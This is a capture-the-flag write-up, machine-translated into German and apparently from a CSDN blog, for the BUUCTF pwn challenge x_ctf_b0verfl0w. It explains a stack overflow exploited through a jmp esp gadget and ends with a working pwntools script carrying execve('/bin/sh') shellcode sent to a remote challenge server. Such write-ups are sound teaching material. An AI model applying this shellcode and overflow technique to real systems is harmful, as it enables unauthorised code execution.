[BUUCTF] PWN —— x_ctf_b0verfl0w (Baugruppencode Shellcode schreiben + Jump-Esp-Befehl entführt esp)

x_ctf_b0verfl0w

annektieren

Schritt

  1. Routineinspektion, 32-Bit-Programm, RELRO ist aktiviert (Got-Tabelle kann nicht umgeschrieben werden)
    Fügen Sie hier eine Bildbeschreibung ein

  2. Versuchen Sie, das Programm lokal auszuführen, um die allgemeine Situation zu sehen
    Fügen Sie hier eine Bildbeschreibung ein

  3. 32-Bit-
    Fügen Sie hier eine Bildbeschreibung ein
    IDA- Lade- Fgets können überlaufen, aber nur 0x32-0x20-0x4 = 14 Bytes. Da nx nicht aktiviert ist, fällt zunächst Shellcode ein. 0x20 passt definitiv nicht in den von pwntools generierten Shellcode Sie können nur selbst schreiben, aber wir müssen einen Weg finden, esp zu entführen, um unseren Shellcode auszuführen

  4. Das Sprung-Esp-Gadget befindet sich in der Trefferfunktion,
    Fügen Sie hier eine Bildbeschreibung ein
    so dass wir einen solchen Stapel
    Fügen Sie hier eine Bildbeschreibung ein
    erstellen können. Ret wird geschrieben. Sprung esp. Nach dem Ausführen von ret zeigt esp + 4 auf sub esp, 0x28; jump esp und führt dann aus, esp gibt Go zurück zum Ort des Shellcodes, dann springe esp, der Shellcode wird ausgeführt.
    Einzelheiten zu den Änderungen von esp und eip nach dem Ausführen von ret finden Sie in diesem Artikel

  5. Wie man Shellcode schreibt, verweise ich auf meinen vorherigen Artikel . Ich werde die Exp direkt hier posten

from pwn import *
context.log_level='debug'
r=remote('node3.buuoj.cn',29554)

shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
print len(shellcode)  #21

jmp_esp=0x8048504
sub_esp_jmp=asm('sub esp,0x28;jmp esp')

payload=shellcode+(0x20-len(shellcode)+4)*'a'+p32(jmp_esp)+sub_esp_jmp

r.sendline(payload)

r.interactive()

Fügen Sie hier eine Bildbeschreibung ein

Ich denke du magst

Origin blog.csdn.net/mcmuyanga/article/details/113657002
Empfohlen
Rangfolge